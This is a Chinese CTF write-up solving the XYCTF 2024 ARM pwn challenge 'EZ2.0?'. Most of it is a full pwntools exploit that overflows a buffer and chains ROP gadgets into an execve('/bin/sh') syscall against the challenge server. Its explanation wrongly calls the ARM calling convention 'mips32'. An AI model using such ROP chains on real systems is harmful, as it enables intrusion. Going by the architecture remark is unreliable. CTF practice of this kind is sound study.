[XYCTF新生赛2024]-PWN:EZ2.0?(arm架构,arm架构下的系统调用)

查看保护

查看ida

完整exp:

from pwn import*

p=process('./arm')
p=remote('gz.imxbt.cn',20082)
svc=0x0001c58c
mov_r2_r4_blx_r3=0x00043224
pop_r7=0x00027d78
pop_r4=0x000104e0
pop_r3=0x00010160
pop_r1=0x0005f824
pop_r0=0x0005f73c
sh=0x0008A090

payload=b'a'*0x44
payload+=p32(pop_r0)+p32(sh)
payload+=p32(pop_r1)+p32(0)
payload+=p32(pop_r3)+p32(svc)
payload+=p32(pop_r4)+p32(0)
payload+=p32(pop_r7)+p32(0xB)
payload+=p32(mov_r2_r4_blx_r3)

p.send(payload)

p.interactive()

因为是arm架构,所以我们要覆盖LR寄存器控制返回地址,对于mips32架构,R0~R3寄存器负责传参,R7寄存器传递系统调用号。这里覆盖R3为SVC是因为后面有跳转R3的指令,覆盖R4是为了后面把R2寄存器覆盖为0。

相关推荐
云说智数2 小时前
AI与EHS管理结合:融合创新,赋能绿色安全生产
人工智能·物联网·安全·制造
开开心心kai2 小时前
网站被浏览器提示“不安全”的解决办法
网络·网络协议·安全·https·ssl
hqyj_zjy2 小时前
2024-07-01 ARM作业
arm开发
秋说2 小时前
【网络安全】修改Host文件实现域名解析
安全·web安全
huaqianzkh2 小时前
网络安全控制相关技术
网络·安全·web安全
联蔚盘云3 小时前
Lianwei 安全周报|2024.07.01
安全
他人是一面镜子,保持谦虚的态度4 小时前
一、安全完善度等级SIL(Safety Integrity Level)介绍
安全
科技热点榜4 小时前
正确认识手机NFC,安全无风险
网络·安全·智能手机
亿林网络4 小时前
等保测评——云计算安全扩展(云计算关键技术)
安全·网络安全·云计算·等保测评·等级保护